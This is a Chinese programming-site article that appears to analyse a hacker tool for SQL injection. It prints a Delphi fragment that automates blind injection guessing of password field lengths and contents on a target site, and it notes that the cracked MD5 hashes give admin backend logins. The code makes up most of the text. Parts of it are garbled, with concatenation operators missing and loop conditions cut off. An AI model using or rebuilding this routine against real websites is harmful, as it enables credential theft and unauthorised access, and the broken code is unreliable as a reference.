欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

黑客的脚本漏洞工具分析(图)

程序员文章站 2022-04-26 15:56:12
上图只是对一个网站注入点的工具检测,当然看到了结果扫出来的密码为16位的md5加密码,但我们可以通过md5密码破解工具进行破解的。然后找到后台用所得的用户名和密码进行登录即可。对... 08-10-08...

黑客的脚本漏洞工具分析(图)
上图只是对一个网站注入点的工具检测,当然看到了结果扫出来的密码为16位的md5加密码,但我们可以通过md5密码破解工具进行破解的。然后找到后台用所得的用户名和密码进行登录即可。对于黑客软件,其实并不是我们想象的那么复杂,只是根据掌握的漏洞信息提交相应该的数据罢了,我们看下下面一段用delphi写的注入的片段就清楚不过了。这里控件的设置和线程的创建略,我们主要是看看猜解的过程,如下:
procedure tmainform.guesscontproc(listint: integer); { sql注入 - 多线程猜解字段内容 }
function sqltextfunc(url, topstr, tablename, fieldname, levelstr: string; len: integer): string;
begin
result := url ’ and exists(select * from ’ tablename ’ where len(’ fieldname ’)’ levelstr inttostr(len) ’ and id=(select max(id) from ’ tablename ’ where id in (select top ’ topstr ’ id from ’ tablename ’ order by id)))’
end;
var
tablename: string;
fieldname, s: string;
contentint: integer;
i, len, lengthint, n: integer;
gridcount: integer;
colu: tcolumn;
flagbool: boolean;
begin
len := 0;
lengthint := 0;
flagbool := true;
tablename := tablenamelst.items[tablenamelst.itemindex];
fieldname := memo2.lines[listint];
if (lowercase(fieldname) = ’password’) or (lowercase(fieldname) = ’pass’) or
(lowercase(fieldname) = ’admin_pass’) or (fieldname = ’密码’) or
(lowercase(fieldname) = ’userpassword’) or (lowercase(fieldname) = ’passwd’) then
begin
contentint := get_httpsize(sqltextfunc(sql_edurl.text, sqledtop.text, tablename, fieldname, ’=’, 16), 800);
if contentint >= and1num then
begin
sqlresultmemo.lines.add(fieldname ’长度: 16’);
lengthint := 16
end
else
begin
while (len
begin
application.processmessages;
inc(len, 2);
pane1.caption := ’正在检测长度:len(’ fieldname ’)=’ inttostr(len);
contentint := get_httpsize(sqltextfunc(sql_edurl.text, sqledtop.text, tablename, fieldname, ’
if contentint >= and1num then
begin
for n := len - 1 to len do
begin
contentint := get_httpsize(sqltextfunc(sql_edurl.text, sqledtop.text, tablename, fieldname, ’=’, n), 800);
if contentint >= and1num then
begin
lengthint := n;
sqlresultmemo.lines.add(fieldname ’长度: ’ inttostr(n));
flagbool := false;
break;
end; // if
end; // for
end; // if
end; // while
end;
end
else
begin
while (len
begin
application.processmessages;
inc(len, 2);
pane1.caption := ’正在检测长度:len(’ fieldname ’)=’ inttostr(len);
contentint := get_httpsize(sqltextfunc(sql_edurl.text, sqledtop.text, tablename, fieldname, ’
if contentint >= and1num then
begin
for n := len - 1 to len do
begin
contentint := get_httpsize(sqltextfunc(sql_edurl.text, sqledtop.text, tablename, fieldname, ’=’, n), 800);
if contentint >= and1num then
begin
lengthint := n;
sqlresultmemo.lines.add(fieldname ’长度: ’ inttostr(n));
flagbool := false;
break;
end; // if
end; // for
end; // if
end; // while
end;
guesslsv.clear;
if len >= 50 then
begin
sql_edurl.enabled := true;
sql_guesstable.enabled := true;
tablenamelst.enabled := true;
fieldnamelst.enabled := true;
application.messagebox(’列名长度大于50,猜解失败!’, ’提示’, 32);
exit;
end;
pane1.caption := ’正在检测’ fieldname ’的内容...’;
guesslsv.update;
if lengthint = 5 then
begin
contentint := get_httpsize(sql_edurl.text ’ and exists (select top ’ sqledtop.text ’ ’ fieldname ’ from ’ tablename ’ where instr(’ fieldname ’,’’admin’’)=1 and len(username)=5)’);
if contentint >= and1num then
begin
s := ’admin’;
for i := 1 to 5 do
begin
application.processmessages;
with guesslsv.items.add do
begin
caption := ’第’ inttostr(i) ’位’;
subitems.add(s);
end;
sleep(60);
guesslsv.update;
end;
inc(sql_scancontent_threadcreatecount);
stringgrid1.cells[sql_scancontent_threadcreatecount - 1, 1] := ’admin’;
stringgrid1.cells[sql_scancontent_threadcreatecount, 1] := ’检测中...’;
sqlresultmemo.lines.add(fieldnamelst.items[fieldnamelst.itemindex] ’内容:admin’);
if sql_scancontent_threadcreatecount
guesscontproc(sql_scancontent_threadcreatecount - 1);
exit;
end
else
begin
for i := 1 to lengthint do
begin
application.processmessages;
with guesslsv.items.add do
begin
caption := ’第’ inttostr(i) ’位’;
subitems.add(’检测中’);
end;
sleep(30);
end;
end;
end
else
begin
for i := 1 to lengthint do
begin
application.processmessages;
with guesslsv.items.add do
begin
caption := ’第’ inttostr(i) ’位’;
subitems.add(’检测中’);
end;
sleep(30);
end;
end;
从上面的代码中,我们可以看出,黑客软件只是代替了手工操作,通过多线程更进一步提高了猜解的速度,但猜解的表和字段还得我们自己设定,然后通过post提交我们设定的格式(其中url中的 是空格的意思,因为在网址后面执行相应的sql语句时都要有相应的空格),按照我们设定的表和字段猜解出相应的用户名和密码内容。